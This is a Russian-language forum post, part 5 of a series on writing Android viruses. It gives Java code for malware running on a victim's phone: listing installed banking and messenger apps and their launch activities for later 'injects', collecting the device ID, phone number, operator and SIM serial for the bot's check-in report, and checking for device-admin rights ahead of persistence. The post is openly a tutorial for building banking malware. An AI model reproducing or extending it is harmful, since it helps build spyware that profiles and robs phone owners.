Вирусы под Android. №5 (Флора и фауна)

Тема в разделе "Вирусология", создана пользователем waydam, 12 окт 2016.

  1. waydam

    waydam

    Сообщения:
    464
    Баллы:
    16
    Доброго времени суток, мы рассмотрели основные моменты и теперь должны понять как вести себя внутри телефона. Для этого нужно знать: списки установленных приложений, мессенджеров, банков и так далее.


    Друг вокруг
    Первым делом окинем взором окрестности, напишем простой и незамысловатый код:
    Код:
    PackageManager pm = cnt.getPackageManager();
    List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);
    for (ApplicationInfo packageInfo : packages) {
    try{
    //packageInfo.packageName
    //packageInfo.sourceDir
    //pm.getLaunchIntentForPackage(packageInfo.packageName)
    } catch (JSONException e) {

    }
    }
    packageInfo.packageName – это имя пакета
    packageInfo.sourceDir – путь к корневой папке приложения
    pm.getLaunchIntentForPackage (packageInfo.packageName) – имя запускаемой Activity, очень важный параметр для инжектов, мы это опишем в дальнейших частях.

    Этой информации будет достаточно, чтобы понять какие и где стоят приложения. Если рассмотреть класс packageInfo, там будет больше информации, но она не особо интересна. В реальном коде Tryи JSONException использовать не обязательно.

    Собираем информацию о системе
    Создаем объект телефонного менеджера.

    Код:
    TelephonyManager tm = (TelephonyManager)context.getSystemService(context.TELEPHONY_SERVICE);
    Код:
    tm.getDeviceId()
    Возвращает ID устройства, который можно использовать в отстуке, так как это уникальное значение для каждого аппарата, которое нельзя изменить.

    Код:
    tm.getNetworkCountryIso()
    Получаем страну устройства

    Код:
    tm.getSimOperatorName()
    Получаем сотового оператора.

    Код:
    android.os.Build.VERSION.RELEASE
    Очень важный параметр, вам придется его часто использовать. Почему? Некоторые фишки работают только для 2.х или 4.х телефонов. И нам придется разграничивать из вручную. Может быть так, что системная функция устарела, или изменила число параметров. В этом случае мы прибегаем к SDK и параметру.

    Пример:
    Код:
    if(Build.VERSION.SDK_INT >= 19) {
    //работаем с версией 4.х
    }else{
    //работаем с версией 2.х
    }
    Код:
    android.os.Build.MODEL
    Получаем модель устройства, важный параметр, ибо чем сложнее бот, тем больше приходится учитывать специфику разных прошивок.

    Код:
    tm.getLine1Number()
    Параметр иногда возвращает номер телефона, иногда нет. Нужен для идентификации самого абонента. Так же по номеру можно узнавать город и оператора.
    Код:
    tm.getSimSerialNumber()
    Серийный номер сим карты.

    Будьте бдительны, последние два параметра указаны для телефонов с 1 сим-картой. Для двух, команды похожие, но это нужно контролировать.

    Админ, ты где?
    Рассмотрим проверку, есть ли у нас права администратора. Само получение оставим до следующих статей про закрепление.
    Код:
    DevicePolicyManager deviceManager = (DevicePolicyManager) context.getSystemService(context.DEVICE_POLICY_SERVICE);
    ComponentName componentName = new ComponentName(context, CAdm.class);
    if (!deviceManager.isAdminActive(componentName)) {
    //нету админа
    }else{
    //есть админ
    }
    Приплыли
    Это минимальный список параметров, которые мы должны обязательно обработать, чтобы правильно принимать решение в среде чужого телефона. Обычно их включают в отстук и они могут измениться. Поэтому проверяй-те их почаще.

    6ая часть:

Поделиться этой страницей

Top